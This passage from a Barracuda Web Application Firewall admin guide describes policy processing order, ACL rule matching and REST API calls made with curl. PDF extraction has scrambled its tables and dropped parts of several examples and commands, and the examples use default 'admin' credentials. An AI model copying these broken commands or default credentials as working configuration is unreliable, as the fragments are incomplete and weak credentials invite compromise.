user according to the authentication cookie, the request proceeds to the next policy. A request goes through the authentication process if
the request is for the authentication landing or login page. If authentication is successful, the Barracuda Web Application Firewall inserts
an authorization cookie. None of the remaining policies apply to authorization requests.
12. If caching policy [P17] is enabled (see Configuring Caching and Compression) and if the request can be retrieved from the cache, the
Barracuda Web Application Firewall serves the object from its cache store. If the object is found in the cache, none of the other policies
apply to the request. No response policies are applied to a response from the cache. If the object is not found in cache, the request
proceeds to the next step.
13. WAT policies [P18] are applied to the request (see Content Rewriting, Content Routing) including request rewrite and URL translation
policies. Some portions of the request are rewritten due to this policy. Rewrite might also redirect the request, in which case none of the
remaining policies are applied to the request.
14. If the request Content-Type is application/json, and the request matches any of the configured JSON profiles associated with the
service, then JSON validations are enforced.[P19]
15. If XML Firewall [P20] is enabled (see Web Services and XML Firewall Protection), the request Content-Type is XML, and any matching
protected URL is configured, then the enabled XML protection validations are enforced. The validations can include XML document
checks, WS-I basic profile assertions and SOAP validations.
16. Load balancing policy [P21] (see Configuring Load Balancing for a Service) directs the request to the appropriate back-end server. The
Barracuda Web Application Firewall might add a connection header at this step.
HTTP Response
The following policies are applied to the back-end server response:
1. If Cloaking policy [P21] is enabled, HTTP headers and return codes are masked before sending the response to the client.
2. If Data Theft Protection policy [P22] is enabled, sensitive data elements are masked before sending the response to the client.
3. If the Instant SSL rewrite policy is enabled [P23], some of the absolute URIs (hyperlinks with domain fields) found by the parsing engine
might be rewritten to use the HTTPS protocol, depending on the rewrite domain list in the Instant SSL policy.
4. WAT policies are applied [P24]:
a. Response rewrite policy rewrites the response headers (see Content Rewriting). It can add or delete a header conditionally
based on other response headers and request URL and domain fields.
b. URL translation policy rewrites the content (see Content Routing). If any hyperlink reference in the HTML content recognized by
the HTML parsing engine matches a URL translation “inside rule,” the link is rewritten by applying the corresponding “outside
rule.” If a page is translated, the response is either encoded using HTTP/1.1 Transfer Chunk Encoding scheme or the underlying
TCP connection is closed if the front end used the HTTP/1.0 protocol.
5. If Cookie Security (Tamper Proof Mode) [P25] is set to Encrypted/Signed, the Barracuda Web Application Firewall encrypts the set
cookie in the response.
6. If XML Firewall [P26] is enabled and the response matches any protected URL, then XML validations are enforced.
7. If URL Encryption [P27] is enabled for the service, the Barracuda Web Application Firewall encrypts the URLs before sending the
response to the client.
8. If the Compression policy [P28] is On for the service/URL, the response page is compressed (see Configuring Caching and Compression
).
9. If the Caching policy [P29] is On for the request URL and if the response headers indicate the object can be cached, a copy of the page
is stored in the cache.
Local Allow/Deny Rules
URL ACL rules (step 7 in “HTTP Request”) are applied in the following order. If the ACL mode is set to active, request processing is terminated
when a violation of any policy in the ACL is detected. If the ACL mode is set to passive, the violation is logged and request processing continues.
(The matching algorithm for URL ACLs and rule groups is the same.)
1. URL ACLs: The incoming request is compared to the list of URL ACLs to find the best match. If no match is found or the action
parameter is set to deny, the request is dropped. The request is also compared to the limits and normalization policies, and dropped for

any violation of these policies. The comparison is done with the < domain, URL, header > values in that order of precedence.
2. Header ACLs: Each of the headers in the request is compared to the list of header ACLs. If a match is found, the header value is
validated by checking for denied metacharacters, denied keywords, and for valid length (compared to configured maximum length) for
violations.
URL Policies
URL policies (step 8 in “HTTP Request”) are applied in the following order.
1. Virus Scan: The incoming client requests are scanned for viruses. Requests containing virus signatures are denied.
2. Rate Control: The Rate Control Pool is defined to limit client requests to the Barracuda Web Application Firewall. You can add a rate
control pool and set a request maximum for that pool. Rate Controls protects applications from being pushed beyond their performance
limits, preventing application layer Denial of Service (DoS) attacks.
3. Bruteforce Prevention: Bruteforce prevention protects web applications and websites from bruteforce attacks, which try every possible
code, combination, or password to find the right one.
Rule Matching
A rule consists of three patterns: host, URL, and extended match rules. The policies of the “best matching” rule are applied to a request. Host and
URL rules are used to match Host and URL fields, respectively. Extended match rules can be compared to any combination of HTTP headers
and/or query string parameters in a request. A “*” rule (to be read as a rule consisting of URL “*”) matches any value for that parameter.
The best matching rule is the one with the longest matching host and URL and is the first matching rule in hierarchical order. If more than one
extended match rule is configured with the same host and URL keys, the extended match rules are searched based on extended match
sequence.
Rule Match Algorithm
Host and URL rules (used for both URL Policies and Rule Groups) are treated as <prefix, suffix> pairs by the rule-match engine:
Prefix rule key is the part of the rule preceding the asterisk (*). The asterisk is treated as a wildcard meaning any value.
Suffix rule key is the part of the rule succeeding the asterisk.
If a rule does not have an asterisk, its suffix rule key is NULL.
The following algorithm is used by Rule Match engine:
1. Find best matching Host Prefix Rule Key. Best match is defined as the longest rule matching the HTTP request Host header left to right.
The number of characters matched is the length of the Prefix Rule Key. If no Prefix Rule matches, Rule Match engine terminates with
failure and the request is dropped.
2. Find the best matching Host Suffix Rule Key. Best match is defined as the longest Suffix Rule Key matching the HTTP request Host
header right to left. The number of characters matched is the length of Suffix Rule Key. If a matching rule is found, the current < Prefix,
Suffix > pair matches Host Rule Key so go to Step 3. If no Host suffix Rule matches, discard this Prefix Rule Key and go to Step 1 to find
the next matching Host Prefix Rule.
3. Find the best matching URL Prefix Rule Key. If none found, discard this Host Rule Key and go to step 1 to find the next matching Host
Rule Key. Best matching URL Prefix Key is defined as the longest URL Prefix Rule matching the HTTP Request-URI header left to right.
The number of characters matched is the length of URL Prefix Rule Key.
4. Find the best matching URL Suffix Rule Key. Best match is defined as the longest Suffix Rule Key matching the HTTP Request-URI
header right to left. If found, the current < Prefix, Suffix > pair is the matching URL Rule Key. We found the best matching Host Rule Key
and URL Rule Key and continue at Step 5. If no match is found, discard this Prefix URL Rule and go back to Step 3 to find the next
matching URL Prefix Rule.
5. Find the first matching Extended Match Rule. The Extended Match rules are sorted based on the extended match sequence. If a
matching rule is found, Rule match engine terminates with success and the HTTP Request follows the policies defined on this rule. If no
match is found, discard this Extended Match Rule and go back to Step 4 to find the next matching URL Suffix Rule Key.
A successful search terminates at step 5. An unsuccessful search terminates at step 1.
Hierarchical Match
The hierarchical match first compares the host header in the request to all host matches configured, and takes the best match. Now the ACL list
is reduced to this set. Next, it compares the URL path in the request to all URLs in the reduced set of ACLs. This is again a best match. If multiple
ACLs match, then each extended match rule is evaluated in ascending order of extended match sequence. The first extended match rule that
matches will be the ACL match.
For example, consider the requests given below and see how it is matched with the ACLs in the following table:
ACLs Host Match URL Match Extended Match Extended Match

Sequence

1 www.abc.com /sales1/* Header User-Agent co 1

IE5.0 1

Mozilla 2
3 www.abc.com /sales1/* * 3

wget 0
5 *.abc.com /sales2/* * 0
6 *.abc.com /sales3/* * 0
7 * /sales1/* * 0
8 * * * 0
1. http://www.abc.com/sales1/index.html, from IE5.0

a. Host header is www.abc.com, therefore ACLs 1 to 4 match this request. Also ACLs 4 to 8 match, but 1 to 4 are better matches,
since they are more specific.
b. URL Path is /sales1/index.html, therefore ACLs 1 to 3 match.
c. Evaluate extended match rule for ACL 1 first, since extended match sequence = 1.
d. As a result, ACL 1 is matched.
a. Host header is www.abc.com, therefore ACLs 1 to 4 match. Also ACLs 4 to 8 match, but this is the best match, since it is most
specific.
b. URL Path is /sales2/index.html, therefore only ACL 4 matches.
c. Evaluate extended match rule for ACL 4. ACL 4 does not match, since User-Agent is expected to be wget, which is not true.
d. Thus, no matches in ACLs 1 to 4.
e. The next best matching ACLs on the host header are ACLs 5 to 6.
f. URL Path matches only ACL 5.
g. Evaluate extended match rule for ACL 5. * matches anything.
h. As a result, ACL 5 is matched.
3. http://www.abc.com/sales3/index.html
a. Host header is www.abc.com, therefore ACLs 1 to 4 match. Also ACLs 4 to 8 match, but this is the best match, since it is most
specific.
b. URL Path is /sales3/index.html, which does not match any of the URLs in ACLs 1 to 4.
c. The next best matching ACLs on the host header are ACLs 5 to 6
d. URL path matches only ACL 6.
e. Header rule matches ACL 6.
f. As a result, ACL 6 is matched.
4. http://mirror.abc.com/sales4/index.html
a. Host header is mirror.abc.com, therefore ACLs 5 and 6 match.
b. URL Path does not match any of the URLs in ACLs 5 and 6.
c. The next best matching ACLs on the host header are ACLs 7 and 8.
d. URL path matches only ACL 8.
e. Header rule matches ACL 8.
f. As a result, ACL 8 is matched.
Sequential Match
Sequential match completely ignores the host header and URL path. Each extended match rule is evaluated in sequential order based on the
extended match sequence. The first rule that matches is the ACL match.
To explain how the rule-match engine selects the best match, consider the following Rule Match table:
ACLs Host Match URL Match Extended Match Rule Extended Match
Sequence
1 * * Header Host eq 1
www.abc.com && Header
User-Agent co IE5.0 &&
URI req /sales1/*

2 * * Header Host eq 2
User-Agent co Mozilla &&
URI req /sales1/*
3 * * * * Header Host eq 3
www.abc.com && URI
req /sales1/*
4 * * * * Header Host eq 4
User-Agent co wget &&
URI req /sales2/*
5 * * * * Header Host req 5

.abc.com && URI req
/sales2/*
6 * * * * Header Host req 6

*.abc.com && URI req
/sales3/*
7 * * * URI req /sales1/* 7
8 * * * 8
1. sales2http://www.abc.com/sales1/index.html, from IE5.0

a. ACLs 1 to 8 match host and URL keys.
b. Evaluate extended match rule for ACL 1 first, since extended match sequence = 1.
c. As a result, ACL 1 is matched.
b. Evaluate extended match rule for ACL 1 to 8 in order.
c. Extended match rule for ACL 5 matches.
3. http://www.abc.com/sales3/index.html
b. Evaluate header rules for ACL 1 to 8 in order.
c. Header rule for ACL 6 matches.
4. http://mirror.abc.com/sales4/index.html
b. Evaluate header rules for ACL 1 to 8 in order.
c. Header rule matches ACL 8.

REST API
The Barracuda Web Application Firewall REST API provides remote administration and configuration of the Barracuda Web Application Firewall.
This article gives a brief description of REST API and the API Methods you can use to access your Barracuda Web Application Firewall. The
examples provided in this article use the Linux command curl for initiating requests to the API.
The API framework provides get or set variables inside a JSON-RPC request corresponding to field values in the configuration database of the
The API provides an easier way to perform frequent tasks that may be time consuming to do one-by-one using the web interface. For example,
using the API, you could create a service and add a server to the service, or you could create a security policy on the Barracuda Web Application
Firewall.
If you have questions after reading this document, please contact Barracuda Networks Technical Support at +1-408-342-5400 or email to support
@barracuda.com.
The API is only available on certain models. Please check the product data sheet to verify the model you are considering has the API
feature.
In this Section:
REST API
Accessing the API
Login Request
Logout Request
Request Syntax
Simple JSON Request
Nested JSON Request
API Endpoint
Resource Description
REST API
Representational State Transfer (REST) is a stateless architecture that runs over HTTP. REST API is a simple web service API you can use to
interact with the Barracuda Web Application Firewall.
For more information on REST API, please visit http://en.wikipedia.org/wiki/Representational_state_transfer.
Accessing the API

This section describes how to invoke a REST API call on the Barracuda Web Application Firewall and the expected response. Both HTTP and
HTTPS URI requests are supported, but in this document our examples use only HTTP URI requests for simplicity. The HTTP and HTTPS
requests should include the respective port number i.e., port 8000 for HTTP and 443 for HTTPS. Example:
http://{IP address of BWAF}:8000/restapi/v1/{object_id}
https://{IP address of BWAF}:443/restapi/v1/{object_id}
Where:
http/https – The protocol used to invoke a REST API call.

IP address of BWAF – The IP address of Barracuda Web Application Firewall to access.
8000/443 – The port number.
restapi – The name of the API.
v1 – The REST API version released by the Barracuda Web Application Firewall.
object_id – The name of the object to be created/retrieved/modified/deleted. An object may be a Service, Security Policy, Certificate,
etc.
The object_id is specified inside curly brackets “{}” in resource URLs.
In HTTPS requests, the Barracuda Web Application Firewall uses the same certificate used for the web interface specified in the ADVANCED >
Secure Administration > SSL Certificate Configuration section. The common name in the certificate must match the URI where you are
sending the request. For example, if the URI is https://WAF1.com:443, then the common name must be WAF1.com. You must download the
certificate from the ADVANCED > Secure Administration > Private section, and copy it to the client machine executing the REST API calls.
The example below shows the login request for HTTPS, where:
cacert – is the parameter to verify the associated certificate.

/tmp/ssl_private_cert.pem – the path and name of the certificate.
HTTPS Login Request

Request:
curl https://WAF1.com:443/restapi/v1/login -X POST -H Content-Type:application/json -d '{"username": "admin", "password":

"admin"}' --cacert /tmp/ssl_private_cert.pem
Response:
{"token":"eyJldCI6IjEzODAyMzE3NTciLCJwYXNzd29yZCI6ImY3NzY2ZTFmNTgwMzgyNmE1YTAzZWZlMzcy\nYzgzOTMyIiwidXN
lciI6ImFkbWluIn0=\n"}
The Barracuda Web Application Firewall REST API provides access to a number of objects through the URLs. The administrator must follow the
guidelines below to invoke a REST API call on the Barracuda Web Application Firewall.
Login Request
Before accessing the Barracuda Web Application Firewall through REST API, the administrator must send a login request and generate an
access token. The login request must include the username and password to generate the token. The example below shows an HTTP request.
For an HTTPS request, see HTTPS Login Request.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/login -X POST -H Content-Type:application/json -d '{"username": "admin", "password":

"admin" }'
Response:
{"token":"eyJldCI6IjEzODAyMzE3NTciLCJwYXNzd29yZCI6ImY3NzY2ZTFmNTgwMzgyNmE1YTAzZWZlMzcy\nYzgzOTMyIiwidXN
lciI6ImFkbWluIn0=\n"}
The generated token is embedded with the username, password and timestamp. Hence, every request made by the user should
include the generated token followed by a colon (:) with or without password. Appending the password after the colon (:) is NOT
mandatory. See the examples below.
Example 1: Request with token only

Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services -u
'eyJldCI6IjE0NDQ4OTQ2ODciLCJwYXNzd29yZCI6Ijc3MzM0MzU5YzA1MDU2ZTIxYmE3ZmE1ZDgz\nMzk2NWIzIiwidXNlciI6ImFk
bWluIn0=\n': -X POST -H Content-Type:application/json -d '{"name": "demo_service", "ip_address":"99.99.107.35", "port":"80",
"type":"HTTP", "address_version":"ipv4", "vsite":"default", "group":"default"}'
Response:
{"id":"demo_service","token":"eyJldCI6IjE0NDQ4OTQ5MTciLCJwYXNzd29yZCI6IjlhMTMzMWIxNGM2MGIwYWJmNTczYmE5Mzg
w\nN2U3MjNhIiwidXNlciI6ImFkbWluIn0=\n"}
Example 2: Request with token and password

Request:
curl http://10.11.19.104:8000/restapi/v1/virtual_services/demo_service -u
'eyJldCI6IjEzODAyMzE3NTciLCJwYXNzd29yZCI6ImY3NzY2ZTFmNTgwMzgyNmE1YTAzZWZlMzcy\nYzgzOTMyIiwidXNlciI6ImF
kbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"ip_address": "10.11.15.176","enable": "0"}'
Response:
{"id":"demo_service","token":"eyJldCI6IjEzODAyMzI3MjUiLCJwYXNzd29yZCI6IjY1NjVmZmY5MjBjNDE0ZjkyOGM2ODQzNjNk\nN
zQzMmE0IiwidXNlciI6ImFkbWluIn0=\n"}
Logout Request
A logout request should be sent to delete the token generated for the user.

Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/logout -u
'eyJldCI6IjEzODAyMzE3NTciLCJwYXNzd29yZCI6ImY3NzY2ZTFmNTgwMzgyNmE1YTAzZWZlMzcy\nYzgzOTMyIiwidXNlciI6ImF
kbWluIn0=\n:admin' -X DELETE
Response:
{"msg":"Success"}
Request Syntax
The Barracuda Web Application Firewall supports two types of JSON requests:
Simple JSON Request

Nested JSON Request
Simple JSON Request
In a simple JSON request, the parameters are passed in a string with a key:value pair. For example, a request for adding a service would be:
'eyJldCI6IjEzNzk2NDA4MzciLCJwYXNzd29yZCI6ImIxZjQzYmVhZTk5MWFmMWUyNDYzYTFiNjA5\nYzYzZTFjIiwidXNlciI6ImFkb
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name": "demo_service_3", "ip_address": "10.11.16.176", "port":
"80", "type":"http", "address_version":"ipv4", "vsite":"demo_vsite", "group":"demo_vsite_group"}'
Nested JSON Request
In a nested JSON request the parameters with dot (.) notation such as security.mode, security.web_firewall_policy, load_balance.algorithm,
load_balance.failover_method, ssl_offloading.enable_sni, ssl_offloading.enable_tls_1, etc. are passed in as a hash or a string of key:value pairs.
For example, a request for updating the values of given parameters would be:
"security":{
"mode":"PASSIVE",
"web_firewall_policy":"sharepoint"
"load_balance": {
"failover_method":"ERROR",
"algorithm":"round_robin"
"ssl_offloading":{
"enable_sni":1,
"enable_tls_1":1
'eyJldCI6IjEzNzk2NzUwNTYiLCJwYXNzd29yZCI6IjA1MThjYWE1MWI3YWU3MTQxNjAxYzM2NzE5\nNTM2NTM0IiwidXNlciI6ImF
kbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d
'{"load_balance":{"failover_method":"ERROR","algorithm":"round_robin"},"security":{"mode":"PASSIVE","web_firewall_policy":"shar
epoint"},"ssl_offloading":{"enable_sni":1,"enable_tls_1":1}}'
For the parameters with input tables and check boxes, the values should be passed in an array. The parameters with input tables such as cookie
s_exempted in SECURITY POLICIES > Cookie Security, allowed_content_types and allowed_methods in SECURITY POLICIES > URL
Protection, and the parameters with check boxes like blocked_attack_types, custom_blocked_attack_types in SECURITY POLICIES > URL
Protection are few examples. To pass values for such parameters and check boxes is given in the example below:

curl http://10.11.19.104:8000/restapi/v1/security_policies/new_policy -u
'eyJldCI6IjE1MDE4NDAxMTciLCJwYXNzd29yZCI6IjdhNDQyN2I1ODAxMGM2MTBiYWM5NGRiNGVj\nNTY3ZDFlIiwidXNlciI6ImF
'{"cookie_security":{"cookie_replay_protection_type":"none","allow_unrecognized_cookies":"never","tamper_proof_mode":"encrypt
ed"},"url_protection":{"enable":"no","max_content_length":"0","max_parameters":"0","maximum_upload_files":"100","maximum_par
ameter_name_length":"100","allowed_methods":["GET","POST"],"blocked_attack_types":["sql_injection","os_command_injection","
cross_site_scripting","remote_file_inclusion"]},"parameter_protection":{"enable":"yes","denied_metacharacters":"%00%04%1b%08
%7f%23%50","exception_patterns":["sql-quote","unsafe-tag"],"file_upload_mime_types":["text/html","image/jpeg","image/gif"],"cust
om_blocked_attack_types":["cust_attack","cust-attack"]},"cloaking":{"return_codes_to_exempt":["403"],"filter_response_header":"ye
s","headers_to_filter":["Server","date"]}}'
API Endpoint
The Barracuda Web Application Firewall REST API endpoint for making calls with the access token is:
http://<IP address of BWAF>: 8000/restapi
Combine the endpoint with the appropriate resource URL to make a call. Example: To create a service group under a specific vsite, the REST
API call would be http://10.11.19.104:8000/restapi/v1/vsites/{vsite_id}/service_groups/{service_group_id}. The Resource Description section
below provides the resource URLs for the objects that can be added/modified/retrieved/deleted.
Resource Description
Vsites
Service Group
Virtual Service
Server
Content Rule
Rule Group Server
Certificates
Trusted Hosts
Security Policy
Global ACLs
Action Policy
Clustering

Vsites
A Vsite is a networking entity on the Barracuda Web Application Firewall which can be used to host other entities such as service groups, virtual
services, servers and rule groups. A vsite has its own routing table to route the traffic for services and servers configured in it.
In this Section:
To Create a Vsite
Creating a Vsite in a Stand-Alone Unit
Creating a Vsite in a Clustered Unit
To Retrieve Vsites
To Update a Vsite
Updating a Vsite in a Stand-Alone Unit
Updating a Vsite in a Clustered Unit
To Delete a Vsite
To Create a Vsite
URL: /v1/vsites
Method: POST
Description: Creates a vsite with the given name.
Parameter Name Data Type Mandatory Description
Input Parameters:
name Alphanumeric Yes A name for the new vsite.
active_on Numeric Conditional Specify the serial number of the

unit on which the Vsite needs to
be active.
Note: This parameter is

applicable ONLY if the unit is
deployed in High Availability
environment.
Creating a Vsite in a Stand-Alone Unit
Example:
# Creating Curl requests
URLs
: HTTP = http://10.11.19.104:8000/restpai/v1/{object_id}
: HTTPS = https://10.11.19.104:443/restapi/v1/{object_id}
# Create URL
: -H = Request Header (Specify Content-Type)
: -X = Request Method (POST,GET,PUT,DELETE)
: -d = JSON data hash
: -u = Authentication token which you got back on login
curl http://10.11.19.104:8000/restapi/v1/vsites -u
WluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name": "demo_vsite"}'
When executed, the above curl script will dump the result, and the output will look like this:
{"id":"demo_vsite","token":"eyJldCI6IjEzNzk2NDM5NTkiLCJwYXNzd29yZCI6IjFkMTc3YTEwZWUwNjE0NWFkMTVlOTY1ODk1\nZ
jBjNzcxIiwidXNlciI6ImFkbWluIn0=\n"}

Creating a Vsite in a Clustered Unit
Request:
'eyJldCI6IjE0MzM5NjUzMDQiLCJwYXNzd29yZCI6ImU1ZmU3NDc2MTEyZTdmOTA5NzQ0NTU2N2Zi\nZWI3MDEyIiwidXNlciI6Im
FkbWluIn0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"demo_vsite2","active_on":"617055"}'
Response:
{"id":"demo_vsite2","token":"eyJldCI6IjE0MzM5Njc2ODAiLCJwYXNzd29yZCI6ImEzZDlkYWUyMzJhOWZmNzM2OTJlNzEyZmIw\n
NjI1MjFlIiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Vsites
URL: /v1/vsites
/v1/vsites/{vsite_id}
Method: GET
Description: Lists all vsites if “vsite_id” is not specified.
Input Parameters:
parameters Alphanumeric Yes The parameter names for which

you want to retrieve the value.
See Example 2.
Example 1:
Request:
'eyJldCI6IjEzODY3MTI2MzIiLCJwYXNzd29yZCI6IjY0YTJiZWNkMzMyZjkyMTFlMzkxNTU2ZjAw\nZjc3MmIxIiwidXNlciI6ImFkbWluI
n0=\n:admin' -X GET
Response:
{"parameters":null,"object":"Vsites","data":[{"service_group":["default"],"service_groups":[{"name":"default","id":"default","virtual_ser
vices":[{"load_balance":{"algorithm":"round_robin","failover_method":"load_balance","persistence_method":"none"},"service_hostna
me":[],"advanced_configuration":{"enable_web_application_firewall":"yes","keepalive_requests":"64","ntlm_ignore_extra_data":"no"
},"status":"enable","session_timeout":"60","instant_ssl":{"secure_site_domain":[],"status":"off","sharepoint_rewrite_support":"off"},"c
omments":null,"group":"default","ip_address":"99.99.107.25","id":"SERVICE_1","ssl_offloading":{"ciphers":"default","sni_certificate":
[],"trusted_certificates":[],"status":"off","enforce_client_certificate":"yes","enable_tls_1_2":"yes","enable_strict_sni_check":null,"sele
cted_ciphers":"AES256-GCM-SHA384,AES256-SHA256,AES256-SHA,CAMELLIA256-SHA,DES-CBC3-SHA,AES128-GCM-SHA
256,AES128-SHA256,AES128-SHA,SEED-SHA,CAMELLIA128-SHA,IDEA-CBC-SHA,RC4-SHA","enable_tls_1":"yes","domain":[],
"enable_sni":"no","enable_tls_1_1":"yes","enable_client_authentication":"no","enable_ssl_3":"yes"},"mask":"255.255.255.255","ena
ble_access_logs":"yes","name":"SERVICE_1","port":"80","security":{"ignore_case":"yes","trusted_hosts_action":"default","mode":"a
ctive","web_firewall_log_level":"notice","web_firewall_policy":"default","rate_control_status":"off","trusted_hosts_group":"","rate_con
trol_pool":"NONE","client_ip_addr_header":null},"address_version":"ipv4","servers":[{"in_band_health_checks":{"max_http_errors":"
0","max_refused":"10","max_timeout_failure":"10","max_other_failure":"10"},"out_of_band_health_checks":{"enable_OOB_health_c
hecks":"yes","interval":"10"},"advanced_configuration":{"client_impersonation":"no","max_establishing_connections":"100","max_ke
epalive_requests":"0","max_connections":"10000","max_requests":"1000","timeout":"300000","source_ip_to_connect":null,"max_sp
are_connections":"0"},"ssl":{"enable_https":"no","enable_tls_1_1":"yes","client_certificate":null,"enable_ssl_3":"yes","validate_certifi
cate":"yes","enable_tls_1_2":"yes","enable_tls_1":"yes"},"status":"in-service","name":null,"application_layer_health_check":{"additio
nal_headers":[],"status_code":"200","url":null,"method":"GET","match_content_string":null},"port":"80","comments":null,"backup_ser
ver":"no","connection_pooling":{"enable_connection_pooling":"yes","keepalive_timeout":"900000"},"weight":"1","ip_address":"11.11
.1.117","id":null}],"type":"HTTP","content_rules":[]}]}],"name":"default","id":"default","active_on":"140949","comments":null}],"limit":n
ull,"token":"eyJldCI6IjEzODY3MTI2OTUiLCJwYXNzd29yZCI6IjM4ODk5YzU4MDExMGI5MDM4Y2ZmNTZhMGI2\nYTA3NTMzIiwi
dXNlciI6ImFkbWluIn0=\n","offset":null}

Example 2:
Request:
'eyJldCI6IjEzODY3MTI2MzIiLCJwYXNzd29yZCI6IjY0YTJiZWNkMzMyZjkyMTFlMzkxNTU2ZjAw\nZjc3MmIxIiwidXNlciI6ImFkbWluI
n0=\n:admin' -X GET -G -d parameters=name
Response:
{"parameters":["name"],"object":"Vsites","data":[{"name":"default"},{"name":"Cuda"}],"limit":null,"token":"eyJldCI6IjEzODY3MTQ4MT
QiLCJwYXNzd29yZCI6ImNmODYyNWU0NDM1NjFhYWIyNGE1NjVkMTJl\nNmZkZGQ2IiwidXNlciI6ImFkbWluIn0=\n","offset":null}
Example 3:
Request:
FkbWluIn0=\n:admin' -X GET -G -d parameters=active_on,service_group
Response:
{"parameters":["active_on","service_group"],"object":"Vsites","data":[ {"service_group":["default"],"active_on":"511256"} , {"service_g

roup":["dut1_vsite1_group"],"active_on":"511256"} , {"service_group":["dut2_vsite1_group"],"active_on":"617055"} , {"service_group"
:["demo_vsite2_group"],"active_on":"511256"} ],"limit":null,"token":"eyJldCI6IjE0MzM5Njc3NzAiLCJwYXNzd29yZCI6IjIyODE5Mzhk
ZjUzYjQ4ZmUwYTI1Yjg2OWMw\nYmE2YzMxIiwidXNlciI6ImFkbWluIn0=\n","offset":null}
To Update a Vsite
URL: /v1/vsites/{vsite_id}
Method: PUT
Description: Updates the vsite with the given value.
Input Parameters:
Comments Alphanumeric Optional Description about the vsite.
Updating a Vsite in a Stand-Alone Unit
Example 1:
Request:
curl http://10.11.19.104:8000/restapi/v1/vsites/demo_vsite -u
'eyJldCI6IjEzODAyMzQyMzEiLCJwYXNzd29yZCI6IjAzNjU5ZGIxZDUwMzc3MTJlYzJhMDkzNTgy\nOGEwYTA2IiwidXNlciI6ImFkb
WluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"comments":"TEST"}'
Response:
{"msg":"Configuration
Updated","id":"demo_vsite","token":"eyJldCI6IjEzODAyMzYzMzIiLCJwYXNzd29yZCI6IjM4ZjdkMDhjOTdlNDBiNThjOGIzZjliMWRl\n
ZGY2NmJlIiwidXNlciI6ImFkbWluIn0=\n"}
Updating a Vsite in a Clustered Unit

Example 2:
Request:
curl http://10.11.19.105:8000/restapi/v1/vsites/demo_vsite2 -u
FkbWluIn0=\n:admin' -X PUT -H Content-Type:application/json -d '{"comments":"TEST","active_on":"511256"}'
Response:
Updated","id":"demo_vsite2","token":"eyJldCI6IjE0MzM5Njc3NDMiLCJwYXNzd29yZCI6IjhkMjI3YzMxOTlmZjBjN2FkNTY4MTQ1O
DU5\nZWU2M2QxIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Vsite
URL: /v1/vsites/{vsite_id}
Method: DELETE
Description: Deletes the given vsite.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/vsites/demo_vsite -u
'eyJldCI6IjEzNzk0OTE4MjQiLCJwYXNzd29yZCI6Ijc3YzQ3NTNkNWEyMDMzNjJiOTg5OTU5OWQ1\nMGNlY2FlIiwidXNlciI6ImFkb
WluIn0=\n:admin' -X DELETE
Response:
{"msg":"Successfully
deleted","token":"eyJldCI6IjEzNzk2NDkxNTgiLCJwYXNzd29yZCI6IjM1ZjQ3NDFmN2Q5MzY3Y2RjYTViZjdjMTk4\nYzA2MzFiIiwid
XNlciI6ImFkbWluIn0=\n"}

Service Group
A Service Group is a container with multiple services. You can use service groups for grouping services for example, all HTTP services can be
within a service group.
In this Section:
To Create a Service Group

To Retrieve Service Groups
To Update a Service Group
To Delete a Service Group
To Create a Service Group
URL: /v1/vsites/{vsite_id}/service_groups
Method: POST
Description: Creates a service group with the given name under the specified vsite.
Input Parameters:
name Alphanumeric Yes A name for the service group

that needs to be created.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/vsites/default/service_groups -u
'eyJldCI6IjEzODAyNDEzMjciLCJwYXNzd29yZCI6IjkzYjNmMzYyYjc3NGM4OTNjMzI4ZjExZTJk\nM2I1NTAxIiwidXNlciI6ImFkbWluI
n0=\n:admin' -X POST -H Content-Type:application/json -d '{"name":"demo_service_gp"}'
Response:
{"id":"demo_service_gp","token":"eyJldCI6IjEzODAyNDE1MjEiLCJwYXNzd29yZCI6Ijk5Nzc3MmE0ZDY5NWViYmM5Mzc0NDcyO
DU3\nMWM1YmE4IiwidXNlciI6ImFkbWluIn0=\n"}
To Retrieve Service Groups
URL: /v1/vsites/{vsite_id}/service_groups
/v1/vsites/{vsite_id}/service_groups/{service_group_id}
Method: GET
Description: Lists all service groups if “service_group_id” is not specified.
Input Parameters:
parameters Alphanumeric Optional Any specific parameter name

that needs to be retrieved. See E
xample 2.
Example1:
Request:
curl http://10.11.19.104:8000/restapi/v1/vsites/default/service_groups/demo_service_gp -u
n0=\n:admin' -X GET
Response:
{"name":"demo_service_gp","id":"demo_service_gp","token":"eyJldCI6IjEzODAyNDE1OTMiLCJwYXNzd29yZCI6ImU1OTJiZTkxNT
EwMjliNDAwZThjNDNkNDM1\nZThmZGEyIiwidXNlciI6ImFkbWluIn0=\n","virtual_services":[]}

Example 2:
Request:
'eyJldCI6IjE1MDE4MjcwNTUiLCJwYXNzd29yZCI6ImYzOTM0NTQ5ODhjZWVkMWExMjQwMzFkMDkw\nZGZlZTIwIiwidXNlciI6Im
FkbWluIn0=\n:admin' -X GET -G -d parameters=name
Response:
{"name":"demo_service_gp","id":"demo_service_gp","token":"eyJldCI6IjE1MDQzMjI0NzEiLCJwYXNzd29yZCI6ImRmMTg3YTZjNz
JhMDRmZjhhOTNjYTJmMTRj\nN2I0ZGQ0IiwidXNlciI6ImFkbWluIn0=\n"}
To Update a Service Group
URL: /v1/vsites/{vsite_id}/service_groups/{service_group_id}
Method: PUT
Description: Updates the given service group with the given value.
Input Parameters:
new_name Alphanumeric Yes A new name for the service

group.
Example:
Request:
n0=\n:admin' -X PUT -H Content-Type:application/json -d '{"new_name":"new_service_gp"}'
Response:
{"id":"demo_service_gp","token":"eyJldCI6IjEzODAyNDE2NzEiLCJwYXNzd29yZCI6IjRlYjQ5YzgxODY2ZDFkNDkwODExNGUyMjI
2\nNTk1N2VmIiwidXNlciI6ImFkbWluIn0=\n"}
To Delete a Service Group
URL: /v1/vsites/{vsite_id}/service_groups/{service_group_id}
Method: DELETE
Description: Deletes the given service group.
Example:
Request:
curl http://10.11.19.104:8000/restapi/v1/vsites/default/service_groups/new_service_gp -u
n0=\n:admin' -X DELETE
Response:
